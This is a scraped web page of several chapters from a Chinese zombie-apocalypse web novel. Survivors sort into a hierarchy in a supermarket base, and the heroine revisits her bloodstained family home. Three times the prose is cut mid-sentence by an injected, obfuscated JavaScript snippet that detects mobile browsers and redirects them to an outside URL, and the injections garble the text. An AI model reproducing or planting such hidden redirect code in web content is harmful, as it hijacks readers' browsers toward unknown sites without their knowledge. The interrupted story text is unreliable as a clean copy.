能够操纵玻璃的天赋者看起来与池遥曲卓年纪相仿,青年头戴棒球帽,穿一身棒球服,浑身黑白相间,打扮得新潮酷炫,五官略显秀气,神色却是平静无波的,甚至有些冷漠。 他们所在的酒店大门前本来有几只丧尸在游荡,但此时全部被割断了脖子,倒在地上,脖子上的伤口与二楼丧尸一致,看来这些都是这位青年的杰作。 “你怎么样?” 曲卓从另一侧扑过来,担心她的伤口,只抱住了池遥没受伤的一侧肩膀,在曲卓旁边,一个穿黑色皮夹克的高大魁梧的壮年男人正用复杂的目光盯着她看。 池遥立刻认出来了,这是末日前两天时,坐在餐厅隔壁桌,与曲卓无声交谈的人之一,而当时他身边的另外两人,正站在不远处的面包车旁。 “虽然小温已经清理了这里的丧尸,但也算不上安全,先上车吧。” 男人开口,目光一直盯着曲卓,语气关切,但目光转向池遥染血的肩膀处时,语气不善地补了一句,“幸好现在只有被丧尸咬过的人会被感染,不然你这样的普通人早就没命了。” 普通人。 末日之下,天赋者与普通人的区别如此残酷地展现在池遥面前。 曲卓拉着池遥上车,被安排在了面包车第二排。在餐厅见过的三人中的一个身形瘦小的男人坐在驾驶位上,另一个看起来上了年纪的女人坐在副驾驶,皮夹克男坐在最后一排,池遥能感觉到他的目光不时从身后扫过。 被称为小温的青年坐在池遥身边隔着狭窄过道的另一侧座位上,倚靠着车窗,棒球帽盖在脸上,似在小憩。 【他们就是我昨天跟你说过的天赋者。】 车内十分安静,曲卓打开手机打字给池遥看,为她介绍车内的人。 【坐在后面的是这个小队的老大,人称黑哥。据说实力很强。坐在副驾驶的是金姐,能力是小范围内消音。开车的人我不是很熟悉,他们三个人是末日前就聚集到一起的天赋者。】 池遥回忆起自己发现曲卓与这三人聊天却听不到声音,现在想来应该是金姐使用了能力。 【你身边的男生叫温俭,是工程大学的学生,能力你也看到了。他是我在网上认识的第一个天赋者,我前几天和黑哥见面时把他的联系方式给了黑哥。】 池遥对此有些疑问。 【在网上认识的?】 曲卓僵硬片刻,给出了一个让人哭笑不得的答案。 【大学生互助平台。】 我们大学生究竟是个什么样的群体啊? 然而,她们交流到一半,忽然听到了来自身后的声音。 “小曲,我和你详细说一下我们这边的情况。” 黑哥一开口,池遥就瞥见身旁的温俭身体动了一下,他重新戴正棒球帽,微眯着眼睛,既像是刚从睡梦中醒来,又像是将睡未睡强打精神的模样。 “您说。” “小曲你也是末日前和我们结盟的天赋者,车里都是自己人,我就直说了。” “算上你们两个,我们小队现在的天赋者总共九个人,普通人一共十四人,我们暂时驻扎在工程大学附近的商店仓库里,天赋者和普通人混合在一起分成四组,每天轮流出门搜寻物资,物资统一分配,天赋者和普通人的分配比例为二比一。” 池遥靠在曲卓肩膀上有一搭没一搭地听着身后的话音,目光则注视着窗外,面包车行驶过的街道到处都是惨不忍睹的痕迹,街边四处游荡着丧尸,时不时还能看到丧尸撕咬普通人的惨状。 这还只是末日第二天。 黑哥简单介绍了他建立的小队情况,问道:“小曲,你还有什么问题吗?” 曲卓点头:“黑哥,我想问一下,我可以和我的朋友一直在一起吗?” 池遥能察觉到,曲卓紧握着她的手掌有些微濡湿,她正在紧张。 “您也看到了,我朋友受了一些伤,我有点担心她......” 见黑哥不回答,曲卓又补充了一句。过了一会儿,才听到黑哥的声音。 “我可以把你们分配到一个小组里,保证你们外出时一起行动。但是回到基地之后恐怕不行,普通人是集中居住在仓库里的,天赋者单独住在隔间里。如果你执意要和朋友住在一起,恐怕只能去仓库里和其他普通人挤在一起了。” 这已经是对池遥而言莫大的惊喜了,她急忙用力捏曲卓的手示意她同意,而曲卓停顿了一会儿,拗不过池遥催促,才开口道:“谢谢黑哥,只要能和朋友一起外出我就很知足了。” 很快,车子驶入一条小街,窗外渐渐看不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957416|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到丧尸了,而面包车的车速渐缓,停在了街道边。 黑哥的基地到了。 街道边的丧尸已经提前被小队的人清理过了,车内的人一个接一个下车,池遥跟随着大家走出车外,面前是一道被锁住的卷帘门,温俭上前接过黑哥手中的钥匙,将卷帘门打开一小半,众人依次弯腰钻进去,等所有人都进来后,才重新将卷帘门拉下来,重新上锁。 “平时没有重要的事一般不会走这个门,卷帘门的备用钥匙在门口信箱的夹层里,如果遇到特殊情况可以直接取用。”等待温俭上锁的时间里,黑哥交代道,“后面仓库有个后门,平时我们从那里出入。” 池遥二人点头。 卷帘门内部,是保存完好的超市内部,黑哥等人大概是末日一开始便占领了这里,货架上的物品没有任何被抢掠过的迹象,正常得就好像是末日前最普通的小型超市。 行至超市最内部,有一处不起眼的楼梯通向二楼,二楼据说是店主一家三口的生活区域和办公区域,黑哥带着曲卓上了二楼,普通人没有上楼的权利,温俭带池遥去普通人集中居住的仓库。 在超市的隐形门后,是一间不大的仓库,分配给普通人居住。仓库一侧用连在一起的空货架将不大的空间勉强分割成两个独立空间,极为狭窄的小空间是女性居住区,相对宽阔的大空间是男性居住区。难以想象这个还没有教室大的空间居然要住十四个普通人。 仓库尽头的小门就是平日里供大家出入的后门,在末日降临前是运货补货的便捷入口,现在倒是方便了幸存者进出。小门上挂着一个小白板,上面详细写明了幸存的普通人数量和每一组的人员分配,温俭将人数栏的13擦掉,改成14,女性栏由3改为4,改完后便与池遥告别离开。 十四名普通人中算上池遥只有四位女性,她刚刚走进仓库时,仓库内并没有几个人,大多数人出门搜寻物资了,池遥不太理解在守着超市,物资如此充足的情况下为什么还要搜寻物资,但并未开口询问温俭。 仓库内没有床,普通人把自己的衣服铺在地上就是一个铺位,女性居住区狭窄得无法落脚,在这样的地方还密密麻麻地铺了三张铺位,池遥抱着自己的衣服,一时不知道铺在什么地方。 “你把自己的衣服放在这里就好。” 身后传来温柔的女声,池遥回过头,看到一个格外美丽的女性。 女人看起来比她年长几岁,有一张出水芙蓉般恬静柔美的面容,她穿一身干净整洁的浅色套装,与目前所处的环境着实有些割裂。 对方帮池遥拾起靠墙边地上的黑色风衣,示意池遥将自己的厚外套铺在此处,见池遥还犹豫不决,解释道。 “那个人很少回仓库,也不在此过夜,不用担心。” 池遥点点头,将自己的外套铺在地上,接过女人手中的风衣,整整齐齐叠好后放在自己的铺位上,想等另一个人回来时告诉对方一声。 刚收拾好自己未来的新住处,就听到了后门门边传来一阵嘈杂声音。 “看来是今天出门搜查的小组回来了。”女人拉着她的手,绕过货架,走到小门处去看挂在门后的白板。 不知何时,刚刚温俭亲手改的14再次被人抹去,现在的数字变成了12,就在不久前,损失了两名普通人。 池遥垂眸,在心里叹了一口气。 本能告诉她,加入黑哥的小队,无论是对她还是对曲卓而言,都不是一件好事。 5. 末日降临4 在所有外出的小组全部归来后,池遥终于见到了黑色风衣的主人。 是一位容貌相当美艳的高挑女子,看到池遥占了她的铺位时并未说什么,只一把抓起自己的黑风衣就离开了仓库。 而池遥的最后一个室友则是一个看起来和她年纪相仿的年轻女孩,同样有着姣好的美貌。 一切都隐约透着古怪。 入夜,池遥额头抵着墙,拼命蜷缩身体,用长外套将自己严严实实地罩住,才闭上了眼。 曲卓并不在身边,但身为天赋者的曲卓待遇肯定要比她好些吧? 夜晚的仓库内没有一丝光亮,浓稠黑暗填满视野,伤口隐隐作痛,在一片伸手不见五指的漆黑里,隐约传来微弱的声响。 微微的窸窣声离池遥越来越近,池遥将脑袋藏在外套里,自欺欺人地想要忽视那道声音。 然后,近在咫尺的距离忽然传来女性压得极低的说话声,随后响起的是男人的声音。 池遥用外套捂住耳朵,听不清身边的人究竟说了什么,偶尔能听到女性吃吃的娇笑声,过了一会儿,所有的声音都消失了,再度恢复了正常。 池遥就在极度的恐慌与无措当中沉入了梦乡。 第二天的外出搜查时,池遥终于见到了曲卓,与之同行的还有温俭,除此之外还有两名普通人。 外出的过程倒是比池遥想象的简单,或许是有温俭在,反而带给池遥一种比在仓库中还要安全的既视感。 “小组轮流外出名义上是搜集物资,实际上是巡查周围街道的丧尸动向,清除附近街道的丧尸。搜集物资只是次要的。” 温俭这次回答了池遥的疑问。 五人已经走出了安全的街道,此时一个接一个地跟在温俭身边。因周围的丧尸每天都会被前来巡逻的天赋者清理,反而数量很少,温俭只偶尔抬手杀死零星几只丧尸。 远处又闪过一个丧尸的影子,这个丧尸与池遥见过的所有丧尸都不同,这个丧尸速度飞快,池遥只能看到它从远处街道闪过的影子。 温俭举起手。 “等一下。” 然而,曲卓却拦住了他。 “它不是丧尸。” 曲卓的语气格外笃定。 池遥注意到,曲卓的右眼又一次迸射出明显的红光,这一次,红光在她眼中停驻了足足十秒才逐渐退却,而曲卓则扭过头,对温俭说道。 “它不是丧尸,更像是天赋者,也保留理智,拥有能力,但和天赋者又不太一样。” “这些是你用眼睛观察到的吗?” 温俭显然也注意到了曲卓眼中的红光。 曲卓点头。 “看来这就是你的能力了。”温俭盯着曲卓的视线有些许复杂,“那的确不是丧尸,也不是天赋者,是强行觉醒能力的普通人变成的怪物,黑哥管这种东西叫行尸。” “普通人?”池遥忍不住惊呼,“那种东西是普通人变的?看起来和丧尸一模一样啊!” “看起来和丧尸一样,但是保留了自我意识。”温俭道,“但除了有自我意识之外,其他各方面和丧尸没有区别,也一样会吃人。” “你刚刚说这种......行尸?是觉醒能力的普通人变的,这是什么意思?”曲卓的关注点更为刁钻。 “我们这种天赋者,不都是末日降临前一个月同时觉醒了能力吗?因为是被上天选中赋予能力的人,所以才被叫做天赋者。”温俭解释道,“没有被选中的普通人,如果想要强行突破自己变成能力者,是要遭受反噬的。” 他的目光带着些怜悯的意味,轻飘飘的落在远处的街道上,那里此时已经看不到行尸的影子了。 “变成行尸就是他们自己选择的代价。” 一时间,所有人都沉默了。 所有人在末日来临前已经在无形中被划分出三六九等,没有能力的普通人就算再努力获得能力,最终也只能落得成为行尸的下场。 视线中的曲卓与温俭站在一起,两位天赋者并肩而立,一瞬间让池遥产生了极为陌生的既视感。 她迅速摇了摇头,将无意识滋生的阴暗情绪甩出脑外,重新打起精神,握住了曲卓的手。 就算是普通人,一定也有能做到的事吧。 即便出现了天赋者,但数量也远低于普通人,即便身为普通人在末日活得的确艰难,但还没有到直接被判处死刑的地步。 似乎察觉到了池遥的决意,曲卓握紧池遥的手,指尖安抚地在她的手背上轻拍几下。 只要她们两个一直在一块,其他的问题也都不成问题了。 小队给普通人分发的食物份额有限,大多数情况下是面包和矿泉水,给天赋者分配的食物相对好得多,但末日之下,能有持续不断的食物供给就已经很不错了,没人敢奢求更多。 普通人的数量每天都在减少,但黑哥等人也会从各处救人带回基地,这样一来仓库内的普通人数量反而更多了,甚至超过了二十人。池遥观察了新来的女性,果然依旧是个个年轻貌美。 相比外出巡逻,池遥更担心的是每晚入夜后,她每一夜都能听到不为寻常的动静,随后在极大的不安感中入睡。她现在已经很难像末日前那样保持深度睡眠了。起初的几天是由于肩膀的伤口以及精神紧张而难以入眠,后来伤口好转后仍旧难以真正入睡,大多时候都是在浅眠,一有什么风吹草动就会立即睁眼。 月落日升,随着时间的流逝,原本与她一同打地铺的女人中,总有几个收拾了地上的衣服离开仓库,不知去了什么地方,之后虽然偶尔还能在仓库内相遇,但对方已经很少来这边,夜里也不再睡在池遥身侧了。 很偶然的一次,池遥瞥见一个搬出仓库的普通人女性从二楼楼梯走下来。 池遥不愿细想。 她不敢告诉曲卓这些事,但她猜测曲卓或许看穿了她拙劣的掩饰,因为曲卓每次看她的目光中带着关切的意味。 普通人数量增加后,外出的小组人数也增加了,不过温俭带领的小组阵容不变,依旧是五个人,有温俭在,每一次外出都十分安心。 而曲卓自从上一次利用眼中的红光辨认出丧尸中的行尸后,之后数次辨认出了丧尸或行尸的伪装,她能够辨认混在丧尸中的行尸,混在人类中的行尸,以及混杂在丧尸尸体中尚未咽气的丧尸。她能够看穿事物的本质。 曲卓的能力目前看来有些累赘,可伴随末日世界的进一步恶化,这个能力很有可能会在未来起到极大作用。 未来会变成什么样?丧尸会不会进化,天气与生态系统会不会紊乱,其他因素会不会进一步加剧世界末日化? 这些问题谁能说得准呢? 似乎是为了安抚池遥低落的情绪,在一次外出巡逻提前结束后,曲卓带着温俭和池遥去了池遥的家。 池遥的家离工程大学不远,坐落在一家高级住宅区内,三人翻墙进入小区,从消防通道上楼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957417|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住宅楼内一层两户,丧尸数量明显减少,来到池遥家所在的楼层时,已经彻底看不见丧尸了。 池遥家有两道门,用藏在大门口地垫下的钥匙打开大门后,进入玄关会看到第二道增设指纹锁的门,池遥打开第二道门,终于看到了家里的景象。 家里没有丧尸,但四处都是一片惨烈景象。 客厅沙发上洇了一大片暗色的血迹,因为时间久远,已经凝固了。沙发后的墙上连同天花板上到处都是喷溅的血迹,屋内的家具有不少都被移动了位置,茶几磕碎了一个角,电视柜上的限量版手办连同亚克力盒子一起摔得粉身碎骨,立柜顶部被包装在盒子里的小熊玩偶此时脏兮兮地躺在地上,身上有好几处开线,露出了里面的棉花,身上的衣服被暗红色浸透。 沙发上的血迹一路延续到餐厅和厨房,餐厅和厨房的墙上也有不同程度的狰狞血迹,但远没有客厅严重,最后,三人跟随着血迹,推开了主卧的门。 主卧看起来是受损最为严重的地方,床上,地板上,墙壁,衣柜,只要是可见的地方,到处都是暗红色的血迹,三人甚至没法往里走,没有办法在全是血迹的房间内找到一个干净的落脚点。 池遥根本想象不到这个房子里发生了什么。 末日到来时,她的父母究竟遭遇了什么,才能把房子变成这副模样? 她蹲下来,伸手小心翼翼地抹了一把地上的血迹,然而已经过了将近十天,血迹早就干涸了,她的手指什么都没有抹下来,反而是微长的指甲刮下来少许暗红色碎屑。 这会是父母的血吗? 心脏突突地冲击着胸腔,连同鼓膜的震动声一同填满贫瘠的听觉,池遥用手指细细碾着这一点点碎屑,把它碾得更碎,几乎变成粉尘颗粒。 池遥只觉得手心里的东西像是燃烧后留下的灰烬,还在掌心源源不断地散发着热度,烫得她忍不住想要呻吟出声,内心里积聚的痛苦都被手心里的热度激发出来,在心底挣扎着诉说委屈。 最终,他们打开了最后一扇房间的门。 是池遥房间的门。 池遥的父母从不主动进她的房间,池遥每次离家前也会习惯性关好房门,她的父母尊重她的私人领域,这是池遥家一直以来的良好作风。 而此时,这间房间就保持着池遥上次离开前的样子。 以浅绿色为主的房间内,不大的空间却被池遥尽可能的改造得舒适宜人。飘窗处定制了毛绒坐垫和小桌板,放满了池遥喜欢的玩偶。书桌上方的书架上密密麻麻摆满了她喜欢的手办和动漫周边,书桌旁的椅子是带着毛绒坐垫的宽大躺椅。 略显狭窄的小床正上方的墙壁上,密密麻麻贴满了池遥喜欢的动漫海报,有几张海报的边角处微微翘起,显然已经贴了很久。小床上摆放了三四个憨态可掬的玩偶,质地柔软,和带有一层绒毛的薄被卷成一团。 这是占据了池遥从小到大的美好回忆的房间。 它没有一丝一毫被污染过的痕迹。 三人进了房间,池遥和曲卓坐在床边,温俭则靠边坐在了躺椅一角,三人望着房内温馨的景象,一时之间无人开口。 属于女儿的房间温馨明亮,而隔壁的房间满是血迹,屋主生死不明。 末日降临的第十天,池遥第一次按捺不住情况,将脑袋埋在曲卓的怀里,嚎啕大哭起来。 她明明身在自己的家,自己的房间里。 却哭得像一个失去了家的孩子。 6. 末日降临5 黄昏的金光顺着窗格跃入房间,被分割成一个个暖金色的小格子,规律地映在墙壁和书桌上,把略显昏暗的房间点亮,整个卧室仿佛燃烧起来一样,被暖色的光晕充满。 这是池遥曾经习以为常的景象,在家里的每一个黄昏,她都会欣赏到这样的景色。她曾经对曲卓夸下海口说,自己的房间拥有最美好的晚霞,现在看来,她并没有说谎。 如同末日前一样静谧美好的黄昏里,三人无声地欣赏这映入房间内的霞光,直到金色逐渐消散,才听到温俭的声音,温俭的语气依旧是清淡的,没什么特别的情绪,但这样的态度并不惹人讨厌,刚刚池遥崩溃大哭的时候温俭同样没有出声,但也没有显露出任何嫌恶的情绪。 “时间不早了,该走了。” 的确,他们三人是趁着小组外出后,并未告知黑哥,偷跑到了这个不属于他们原有巡逻路线的地方,确实不能逗留太久。 这一次,池遥郑重地关上了自己房间的房门,把房间内的一切彻底封存在记忆当中。 他们没有从池遥家带走任何一样物品。 回到仓库时,太阳已经落山了,池遥与两位天赋者分开,重新融入普通人的生活当中。 然而,第二天,当池遥再次和曲卓重聚,外出巡逻时,却发现少了温俭的影子。 “黑哥说给温俭分配了其他工作,他这几天都不会来了。” 开口向几个普通人解释原因的曲卓的表情也有些微妙,温俭是外出小组主心骨一样的存在,缺少了主心骨,整个小组的氛围都变得紧张起来。 然而,类似的情况之前也发生过几次,因为曲卓看透真实的特殊能力,黑哥每次出远门时都会叫上曲卓一起,曲卓也曾因同样的理由缺席小组外出。 但缺少了温俭终究是不一样的,这一天外出时,小组四人的神情都有些紧张,所幸一路上并不危险,只有几只落单的丧尸,曲卓和池遥二人配合着解决掉了。 回到仓库时,池遥发现原本就不多的铺位,又少了一个。 “那位从今天开始搬到二楼啦,人家可不想和我们混在一起。”和池遥一起留在仓库内的女孩子语气酸溜溜地向她解释。 在黑哥组建的小队内的女生中,每天按部就班随着外出小组一同出门巡逻的池遥和曲卓反而才是异类,大多数女性是有理由不外出的,她们或依附二楼的天赋者,或主动与黑哥交涉,最后总能得到她们想要的结果。 小队只招收外表出众的年轻女性,而主动来到此处的女性也各有想法。 诸如搬出去的女人一样,想要趁着末世初期搭上天赋者,主动献媚的人并不在少数。 溃散的社会秩序之下,不少人都暴露出肮脏的人性本质,趁着天黑偷偷入侵女性居住区的天赋者也不在少数。 幸好大家都知道池遥和曲卓的关系,手暂且伸不到池遥这里来,但在每一个辗转难眠的夜晚,听到令人内心发毛的细微声音的恐惧还是深深印在池遥内心。 独自一人待在仓库内的时候,池遥开始更加频繁的想念曲卓。 曲卓一定不知道这些恶心的事情吧?曲卓的能力那么强大,她一定会被保护得很好。 世界上一定没有比黑哥的超市基地更安全,更自给自足的地方了吧? 是不是忍一忍就能过去了呢?毕竟饱暖之后才能思考其他问题,黑哥的超市至少保证了她生存的基本需求。 每一次与曲卓见面,想要抱怨的话语卡在喉咙处呼之欲出,然而池遥每一次都硬生生忍耐下来,装作没事人的样子,珍视能够与曲卓相处的每一刻。 曲卓的眼睛在觉醒天赋后变得愈加有神了,像玻璃一样剔透,闪闪发亮,与那双眼睛对视时,池遥总有一种想要倾诉一切的冲动。 我们离开这里好吗? 离开这个仓库,再去找其他的基地。 这样的话语,偶尔会不受控制地脱口而出,然而池遥每次说出两个字后就会转移话题,不让曲卓知道她的意图。 然而,其他的基地真的会比黑哥的超市更好吗? 池遥想,只要自己还是个普通人,还是个手无缚鸡之力的普通人,那么无论哪个基地,对她而言都是换汤不换药吧? 无论最终去到哪个基地,曲卓最终还是要和她分开的。 说到底,她们两个人中,曲卓才是拉扯着她前进的人,反而池遥才是真正的累赘。 在池遥等人所在的超市基地不远处,有一个中型购物商场,是外出巡逻的重点。 因为这里占地面积大,商场内一共三层,黑哥等人在末日来临时只清理了一层的丧尸,外出巡逻的小队也只在商场一楼巡逻,每一次到此巡逻时,总会杀死数只从楼上或楼下停车场游荡到一层的丧尸。 温俭仍旧没有回来,因此,当巡逻商场的任务再次落到池遥曲卓小组的头上时,小组内算上池遥和曲卓,只有四个人。 “今天要去的是附近最危险的地方。”在出发前,曲卓神情严肃地提醒众人,温俭不在时,唯一的天赋者曲卓就代替温俭成为了小组组长一样的存在,“这座商场二楼和三楼的丧尸都没有被清理过,天赋者只清理了一层的丧尸,虽然我们的巡逻任务只在一层进行,但是要万分小心,一楼很有可能有从楼上游荡下来的丧尸。” 说完,曲卓冲池遥眨眨眼,伸手抓住了池遥的手。 曲卓比池遥高了半个脑袋,手掌也要更加宽大一些,稍微用力就能将池遥的手包裹其中,源源不断的热度从掌心传来。 “你害怕吗?” 池遥将脑袋凑近曲卓,悄声问她。 “怕呀。”曲卓很坦然地点头,“温俭不在我也紧张呀,但是没办法,温俭不在我们就自己动手杀丧尸,总会习惯的。” 池遥用力握了一下曲卓的手。 “我也可以杀丧尸,我保护你。” “但我是天赋者,我能力更强,我保护你才对。” 曲卓温和地冲池遥弯了弯眼睛,带着她踏上前往商场的路。 池遥心中却没太在意曲卓的话,在池遥看来,曲卓虽然是天赋者,但所拥有的能力却并非攻击能力,因此,在池遥心中,曲卓的实力和普通人差别不大。 只要她努力让自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957418|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己变强,变强后一定也能反过来保护曲卓。 通往商场的路上十分平静,四人顺利走到商场大门前,绕过其他小组在商场大门前设置的好几层路障,才打开了商场的大门。 商场内一片漆黑,浓重的腐臭味刺激着鼻腔,在商场大门再次关闭时,仅有的从外面透进来的亮光也转瞬即逝,四周被浓重的黑暗所侵占,伸手不见五指的黑占据所有感官。 在这样的环境下,往往听觉会更加敏锐,然而池遥却什么都听不见,周围一片寂静,静得让她几乎失去一切感知能力,她感受不到身旁的同伴,感受不到身边的曲卓——明明她们还紧牵着手,池遥能感受到手上传来的重量,却有种曲卓不在身边的恐慌感。 四周静得只能听到自己的呼吸声,池遥第一次发现,原来自己的喘息声是如此吵闹的声音,她拼命平复紊乱的呼吸,然而耳边弥漫的还是只有自己沉重的呼吸声。 她仿佛又回到了末日前一天,那个明明能够看到曲卓的面孔,却无法听到曲卓的声音,感知不到她的一切,被隔绝在曲卓之外的恐慌感再次漫了上来。 时过境迁,她却仍旧没有丝毫成长,还是那个稍微见不到曲卓就无法思考的依存症患者。 池遥在脑海中谴责自己的无能,却又不由自主地开始发抖。 与此同时,与曲卓相连的手掌被轻轻捏了一下。 柔和的亮光倏忽之间照亮了她周围很小的一块空间,池遥不适应地眨了几次眼睛,才发现是曲卓打开了一枚迷你手电筒。 曲卓拿着手电筒转了一圈,将她们周围的环境全部照亮了一次,才去仔细打量身旁的池遥的情况。 在曲卓的印象里,她的室友池遥怕黑到极致,每晚都会在窗帘内点亮一盏小小的夜灯才敢睡着,而此时池遥的状态果然糟糕极了,不知何时,池遥的额头上已经出了一层冷汗,脸色也有些发白。 “你还好吧?” 池遥感觉到耳畔有些许热度传来,曲卓凑近了她,声音压得很轻很轻,几乎只剩下了气声。 “你放心,我在你身边,肯定会保护好你的,千万别害怕啊。” 说完,曲卓直起身,两人又恢复了正常距离,只是曲卓的手握得更紧了些。 池遥侧头紧盯着曲卓的身影,看着曲卓转身朝着身后看,甚至还走了几步,于是也顺着手电筒光照的方向看去。 这下,用不着曲卓开口,池遥也发现了不对劲。 她刚刚的恐慌虽然大多是自欺欺人,但还是有几分真实的。 毕竟,现在站在商场入口的,只剩下了她和曲卓两个人。 不知何时,小组里的另外两个普通人的身影已经消失了。 池遥甚至不清楚,那两个人究竟是没有进入商场,还是在进入商场后离奇消失的。 如果他们没有进入商场,那么刚才又是谁关的商场大门? 如果他们进入了商场,那么究竟是怎么消失的?这所商场每天都有人来巡逻,之前为什么没有发生过这种事? 无论原因如何,此时的商场一层,只剩下了池遥和曲卓两个人。 7. 末日降临6 她们此时所在的商场是复合环岛式结构,以中庭为中心向四周扩张,楼层之间相通的区域不多,集中在中心区域,也只有一楼的中心区域才与二楼相连通。 “跟紧我,千万别松手。” 曲卓皱起眉头,叮嘱了池遥一句,一手拿手电筒,一手拉着池遥的手,小心翼翼地向前走去。 手电筒的光照微弱,她们只能看清前方几米内的景象,周围一片死寂,视觉与听觉皆有所限制。 在这样的环境里,彼此紧牵的手变成了一种限制,然而没有一个人主动放开。 极度的安静中,只能听到自己制造出的声响,池遥第一次发觉自己的听力如此灵敏,她听得到自己和曲卓二人放轻的呼吸声,鞋底接触地面的嘎吱声,衣料摩擦的窸窣声。 然而,对于她们之外的事物,她的听觉好像完全失灵一般,无法感知到任何异常。而视觉在如此昏暗的环境中也派不上用场,只能通过手电筒的光照隐约看清周围环境的轮廓,全靠着曲卓拉着她的手,引领她前行。 池遥此时有些后悔自己过去明明轻度近视却没有去配眼镜的行为了,她的近视度数虽然不高,在正常生活中对自己影响不大,但在此时的环境中,目之所及的大部分都变成了一团团模糊的色块,她看不清,亦无法做出判断。 这下,她真的成为曲卓的累赘了。 池遥心中不无失望地想着,她只能尽可能做到自己能做的一切,紧跟在曲卓身侧,将走过的每一步路线牢牢记在脑海里。 然而,让池遥惊讶的是,曲卓此时却十分镇定,与慌乱的池遥不同,曲卓能够从一片昏暗的环境中做出判断,带领着池遥前进,她的感知能力似乎并未受到环境的影响,如同定心剂一般支撑着池遥。 池遥不由地握紧了曲卓的手。 察觉到她的动作,曲卓用拇指轻轻拍了拍她的手背。 或许是心理作用,商场内部的温度比室外更为阴冷,每吸进一口空气,就能感受到从身体蔓延向四肢的僵冷。 手掌忽然被紧握了一下,池遥看向身边的人,对方眉头紧蹙,紧咬嘴唇,眼睛死死盯着前方的黑暗,似乎有什么东西呼之欲出。 顺着曲卓的目光看去,入目仍旧是一片漆黑的暗影,即便她通过曲卓的神情看出了前方暗藏着危险,却仍旧无法判断。 曲卓却突然放开了她的手。 “我去前面看看情况,你在这里等着我。”她的声音极轻,幽幽的在池遥耳畔响起,“一旦我发现不对,你立刻逃跑。”与先前不同,这一次,她的语气极为郑重。 不再被紧紧握住后,空荡荡的掌心立即失去了温度,池遥有些迟钝地点了点头,心脏仿佛被什么东西攥紧,狠狠拧了一下。 她还是没有任何长进。 只要和曲卓待在一起,她就会不自觉地松懈自己,去依赖对方,如同菟丝花一般紧紧缠绕着曲卓,却无法为曲卓带来任何助益,只能拖累对方。 此时,没有任何能力的池遥,实力低微的池遥,永远处于被保护位置的池遥只能孤零零地站在原地,定定地望着曲卓一步步远去的背影。 失去了光源,此时身旁又恢复了一片漆黑,只剩下不远处的身影被微弱的光芒照亮,曲卓的动作很慢,似乎是忌惮前方的危险,放慢放轻了动作小心试探。 没走出几步,前方的身影立即转过身来,一边冲池遥挥手一边快速朝着池遥的方向跑来。 就在曲卓转身的同时,前方响起了接连不断的沉闷巨响,仿佛有重物砸落在地,紧接着,响起了属于丧尸的嘶吼声。 池遥反应极快,发现曲卓动作不对的瞬间也立即朝着来时的方向飞奔,幸好她从进门后就一直在心中默记走过的路线,前路虽然一片漆黑,但她一路畅通无阻。 然而,她的跑步速度终究是比不上曲卓,很快,曲卓的声音就在她身后响起。 “池遥,后面是和二楼连在一起的镂空大厅,二楼的丧尸一听到我们的动静,就从栏杆上翻下来了,现在还不知道有多少丧尸追在后面。”她从更远的地方追上池遥却没有一丝气喘,即便是奔跑状态,语气依旧沉稳镇定,“不过他们从三四米的高度掉下来,追我们的速度不快,只要跑到大门口出去就没问题了!” 除却大一时的八百米体测,池遥很少跑得如此拼命,胸腔里的心脏疯狂跳动,呼吸也不由地陷入紊乱,然而一想到身后的丧尸,手脚就机械地动作起来。四肢和身体仿佛分成了完全不相关的两个部分,一边完全不受她控制,只凭本能疯狂逃命,而另一部分被迫承受着剧烈运动的负担,压迫得她喘不上气,即便听到了曲卓的话也无法做出任何回应。 曲卓追上池遥后就不再加速,刻意跑在池遥身后,她在跑步间隙还能精准地移动商场里重量较轻的设施,阻拦丧尸行进的道路,时不时停留几秒,手起刀落,在一片黑暗里仅凭听觉精准地捣烂丧尸的脑子。 “你先出去!后面的丧尸大部分都摔断了腿,行动速度不快,我解决了它们就出来!” 即将跑到大门口时,池遥听到了曲卓的声音,她刚杀死一只丧尸,正将刀子从丧尸的脑袋里拔出来。 担忧与恐惧一同沿着心脏蔓延至全身,但凡池遥拥有自保能力,她一定会坚定地留下来与曲卓并肩作战。可此时的她一旦留下必然会拖累曲卓,池遥没有停下,一鼓作气加速冲到大门口,一把推开了门。 室外清新的空气涌入肺叶,疲惫到极点的身体宣布告罄,池遥一屁股跌坐在地,双手扶着地面大口喘息起来。 喉咙里像是掺了砂砾,沉重的呼吸带动气管发出破风箱一样的声音,浑身都酸痛不已,手掌被水泥地面磨得破了皮,浓重的血腥味涌入鼻腔。 心脏猛地一震。 身体不由自主地颤抖了一下,池遥还没有平复呼吸,脑子却飞速转动起来。 等等。 为什么会有血腥味? 越来越浓重的血腥味逐 